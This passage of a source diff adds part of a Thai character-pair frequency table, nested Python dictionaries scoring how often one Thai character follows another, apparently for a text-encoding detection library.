17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 1, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 0, # 'ุ' + 35: 3, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 1, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 62: { # 'ฝ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 1, # 'ี' + 40: 2, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 1, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 31: { # 'พ' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 2, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 1, # 'ึ' + 27: 3, # 'ื' + 32: 1, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 0, # '่' + 7: 1, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 54: { # 'ฟ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 45: { # 'ภ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 2, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 9: { # 'ม' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 2, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 1, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 2, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 16: { # 'ย' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 2, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 1, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 2, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 2: { # 'ร' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 2, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 3, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 3, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 3, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 2, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 2, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 3, # 'เ' + 28: 3, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 61: { # 'ฤ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 2, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 15: { # 'ล' + 5: 2, # 'ก' + 30: 3, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 3, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 2, # 'ฯ' + 22: 3, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 2, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 12: { # 'ว' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 2, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 42: { # 'ศ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 2, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 3, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 2, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 46: { # 'ษ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 2, # 'ฎ' + 57: 1, # 'ฏ' + 49: 2, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 18: { # 'ส' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 3, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 2, # 'ภ' + 9: 3, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 3, # 'ู' + 11: 2, # 'เ' + 28: 0, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 1, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 21: { # 'ห' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 4: { # 'อ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 63: { # 'ฯ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 22: { # 'ะ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 1, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 